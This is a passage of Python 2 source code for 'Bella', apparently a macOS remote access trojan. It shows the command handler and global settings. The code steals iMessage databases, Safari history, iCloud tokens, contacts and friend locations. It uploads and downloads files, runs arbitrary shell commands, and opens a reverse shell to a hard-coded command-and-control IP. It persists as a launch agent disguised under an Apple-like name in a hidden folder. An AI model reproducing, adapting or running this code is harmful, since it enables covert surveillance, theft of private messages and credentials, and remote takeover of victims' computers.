1995
1996 elif data.startswith("set_client_name"):
1997 name = data.split(":::")[1]
1998 send_msg(set_client_name(name), True)
1999
2000 elif data == 'chat_history':
2001 chat_db = globber("/Users/*/Library/Messages/chat.db")
2002 serial = [] #we do all of this custom serialization because it is way faster and more space efficient.
2003 for x in chat_db:
2004 data = protected_file_reader(x)
2005 send_msg("%sFound messages DB for %s [%s]\n" % (blue_star, x.split("/")[2], byte_convert(len(data))), False)
2006 serial.append('C5EBDE1F'.join( (x.split("/")[2], data) ))
2007 send_msg("%sSending databases over.\n" % yellow_star, False)
2008 send_msg("C5EBDE1F", False)
2009 send_msg('C5EBDE1F_tuple'.join(serial), True)
2010
2011 elif data == 'safari_history':
2012 historyDb = globber("/Users/*/Library/Safari/History.db")
2013 serial = []
2014 for history in historyDb:
2015 copypath = tempfile.mkdtemp()
2016 with open('%s/safari' % copypath, 'w') as content:
2017 content.write(protected_file_reader(history))
2018 database = sqlite3.connect('%s/safari' % copypath)
2019 sql = "SELECT datetime(hv.visit_time + 978307200, 'unixepoch', 'localtime') as last_visited, hi.url, hv.title FROM history_visits hv, history_items hi WHERE hv.history_item = hi.id;"
2020 content = ""
2021 with database:
2022 try:
2023 for x in database.execute(sql):
2024 x = filter(None, x)
2025 content += ' | '.join(x).encode('ascii', 'ignore') + '\n'
2026 except:
2027 pass
2028 content = bz2.compress(content)
2029 serial.append('6E87CF0B'.join((history.split("/")[2], content))) #append owner of history
2030 shutil.rmtree(copypath)
2031 send_msg("6E87CF0B", False)
2032 send_msg('6E87CF0B_tuple'.join(serial), True)
2033
2034 elif data.startswith('interactive_shell'):
2035 interactive_shell_port = data.split(':::')[1]
2036 start_interactive_shell(interactive_shell_port)
2037
2038 elif data.startswith('download'):
2039 file_name = data[8:]
2040 try:
2041 with open(file_name, 'rb') as content:
2042 file_content = content.read()
2043 send_msg("%sFound [%s]. Preparing for download.\n" % (yellow_star, file_name), False)
2044 send_msg("downloader", False)
2045 send_msg(file_content + 'dl_delimiter_x22x32' + file_name, True)
2046 except IOError, e:
2047 send_msg("%s%s\n" % (red_minus, e), True)
2048 except OSError, e:
2049 send_msg("%s%s\n" % (red_minus, e), True)
2050
2051 elif data.startswith('uploader'):
2052 (file_content, file_name) = data[8:].split('ul_delimeter_x22x32')
2053 try:
2054 send_msg("%sBeginning write of [%s].\n" % (yellow_star, file_name), False)
2055 with open(file_name, 'wb') as content:
2056 content.write(file_content)
2057 send_msg("%sSucessfully wrote [%s/%s]\n" % (blue_star, os.getcwd(), file_name), True)
2058 except IOError, e:
2059 send_msg("%s%s\n" % (red_minus, e), True)
2060 except OSError, e:
2061 send_msg("%s%s\n" % (red_minus, e), True)
2062
2063 elif data == "iCloud_query":
2064 (error, errorMessage, dsid, token) = main_iCloud_helper()
2065 if error:
2066 send_msg(errorMessage, True)
2067 else:
2068 iCloud_storage_helper(dsid, token)
2069
2070 elif data == "iCloud_FMF":
2071 (error, errorMessage, dsid, token) = main_iCloud_helper()
2072 if error:
2073 send_msg(errorMessage, True)
2074 else:
2075 cardData = get_card_data(dsid, token)
2076 heard_it_from_a_friend_who(dsid, token, cardData)
2077 send_msg('', True)
2078
2079 elif data == 'iCloud_contacts':
2080 (error, errorMessage, dsid, token) = main_iCloud_helper()
2081 if error:
2082 send_msg(errorMessage, True)
2083 else:
2084 cardData = get_card_data(dsid, token)
2085 for vcard in cardData:
2086 send_msg("\033[1m%s\033[0m\n" % vcard[0][0], False)
2087 for numbers in vcard[1]:
2088 send_msg("[\033[94m%s\033[0m]\n" % numbers, False)
2089 for emails in vcard[2]:
2090 send_msg("[\033[93m%s\033[0m]\n" % emails, False)
2091 localToken = tokenRead()
2092 if localToken != False:
2093 send_msg('\033[1mFound %s iCloud Contacts for %s!\033[0m\n' % (len(cardData), localToken.split("\n")[0]), True)
2094 else:
2095 send_msg('', True)
2096
2097 elif data == '3C336E68854':
2098 time.sleep(2)
2099 cmd = 'python -c "import sys,socket,os,pty; _,ip,port=sys.argv; s=socket.socket(); s.connect((ip,int(port))); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn(\'/bin/bash\')" ' + host + ' 3818'
2100 x = subprocess.Popen(cmd, shell=True)
2101 print x.pid
2102 send_msg('', True)
2103
2104 elif data.startswith('vnc_start'):
2105 vnc_port = data.split(':::')[1]
2106 time.sleep(3)
2107 vnc_start(vnc_port)
2108
2109 elif data == 'removeserver_yes':
2110 removeServer()
2111
2112 elif data == 'shutdownserver_yes':
2113 send_msg("Server will shutdown in 3 seconds.\n", True)
2114 subprocess_cleanup()
2115 os.system("sleep 3; launchctl remove %s" % launch_agent_name)
2116 #we shouldnt have to kill iTunes, but if there is a problem with launchctl ..
2117
2118 elif data == 'get_client_info':
2119 client_name = readDB('client_name')
2120 if client_name == False:
2121 output = check_output('scutil --get LocalHostName | tr -d "\n"; printf -- "->"; whoami | tr -d "\n"')
2122 else:
2123 output = check_output('echo "%s" | tr -d "\n"; printf -- "->"; whoami | tr -d "\n"' % client_name)
2124 if not output[0]:
2125 send_msg('Error-MB-Pro -> Error', True)
2126 continue
2127 send_msg(output[1], True)
2128
2129 else:
2130 try:
2131 proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)
2132 done = False
2133 while proc.poll() == None:
2134 bella_connection.settimeout(0.0) #set socket to non-blocking (dont wait for data)
2135 try: #SEE IF WE HAVE INCOMING MESSAGE MID LOOP
2136 if recv_msg(bella_connection) == 'sigint9kill':
2137 sys.stdout.flush()
2138 proc.terminate()
2139 send_msg('terminated', True) #send back confirmation along with STDERR
2140 done = True
2141 bella_connection.settimeout(None)
2142 break
2143 except socket.error as e: #no message, business as usual
2144 pass
2145 bella_connection.settimeout(None)
2146 out = select.select([proc.stdout.fileno()], [], [], 5)[0]
2147 if out:
2148 line = proc.stdout.readline()
2149 if line != "":
2150 send_msg(line, False)
2151 else:
2152 #at this point we are done with the loop, can get / send stderr
2153 send_msg(line + proc.stderr.read(), True)
2154 done = True
2155 break
2156 else:
2157 send_msg("%s[%s] is an interactive command.\n%sBella does not support interactive commands.\n%sUse 'interactive_shell' to perform this task.\n" % (blue_star, data, yellow_star, blue_star), True)
2158 sys.stdout.flush()
2159 #proc.terminate()
2160 done = True
2161 break
2162 if not done:
2163 send_msg(proc.stdout.read() + proc.stderr.read(), True)
2164
2165 except socket.error, e:
2166 if e[0] == 32:
2167 print "Listener disconnected, broken pipe."
2168 pass
2169 except Exception as e:
2170 print e
2171 send_msg(str(e), True)
2172
2173 except socket.error, e:
2174 traceback.print_exc()
2175 subprocess_cleanup()
2176 print repr(e)
2177 if e[0] == 54:
2178 print "Listener disconnected, connection reset"
2179 pass
2180 break
2181
2182 except Exception:
2183 #any error here will be unrelated to socket malfunction.
2184 bella_error = traceback.format_exc()
2185 print bella_error
2186 send_msg('%sMalfunction:\n```\n%s%s%s\n```\n' % (red_minus, red, bella_error, endANSI), True) #send error to CC, then continue
2187 continue
2188 try:
2189 bella_connection.close()
2190 except:
2191 pass
2192
2193##### Below variables are global scopes that are accessed by most of the methods in Bella. Should make a class structure #####
2194endANSI = '\033[0m'
2195bold = '\033[1m'
2196underline = '\033[4m'
2197red_minus = '\033[31m[-] %s' % endANSI
2198greenPlus = '\033[92m[+] %s' % endANSI
2199blue_star = '\033[94m[*] %s' % endANSI
2200yellow_star = '\033[93m[*] %s' % endANSI
2201violet = '\033[95m'
2202blue = '\033[94m'
2203light_blue = '\033[34m'
2204green = '\033[92m'
2205dark_green = '\033[32m'
2206yellow = '\033[93m'
2207red = '\033[31m'
2208bella_error = ''
2209cryptKey = 'edb0d31838fd883d3f5939d2ecb7e28c'
2210try:
2211 computer_name = subprocess.check_output('scutil --get LocalHostName', shell=True).replace('\n', '')
2212except:
2213 computer_name = platform.node()
2214
2215if os.getuid() == 0:
2216 bella_user = cur_GUI_user()
2217 bella_UID = pwd.getpwnam(bella_user).pw_uid
2218else:
2219 bella_user = getpass.getuser()
2220 bella_UID = pwd.getpwnam(bella_user).pw_uid
2221
2222bellaPID = os.getpid()
2223ROOT_SHELL_PATH = '/usr/local/roots' #try not to change this, it causes permissions errors.
2224launch_agent_name = 'main.apple.start'
2225bella_folder = 'Containers/.bella'
2226if os.getuid() == 0:
2227 home_path = ''
2228else:
2229 home_path = os.path.expanduser('~')
2230
2231if '/'.join(os.path.abspath(__file__).split('/')[:-1]).lower() != ('%s/Library/%s' % (home_path, bella_folder)).lower(): #then set up and load agents, etc
2232 print '[%s], [%s]' % ('/'.join(os.path.abspath(__file__).split('/')[:-1]).lower(), ('%s/Library/%s' % (home_path, bella_folder)).lower())
2233 print 'Bella is not in the proper folder. Resetting'
2234 create_bella_helpers(launch_agent_name, bella_folder, home_path)
2235
2236helper_location = '/'.join(os.path.abspath(__file__).split('/')[:-1]) + '/'
2237payload_list = []
2238temp_file_list = []
2239host = '45.55.152.52' #Command and Control IP (listener will run on)
2240port = 4545 #What port Bella will operate over
2241
2242#### End global variables ####
2243if __name__ == '__main__':
2244 bella()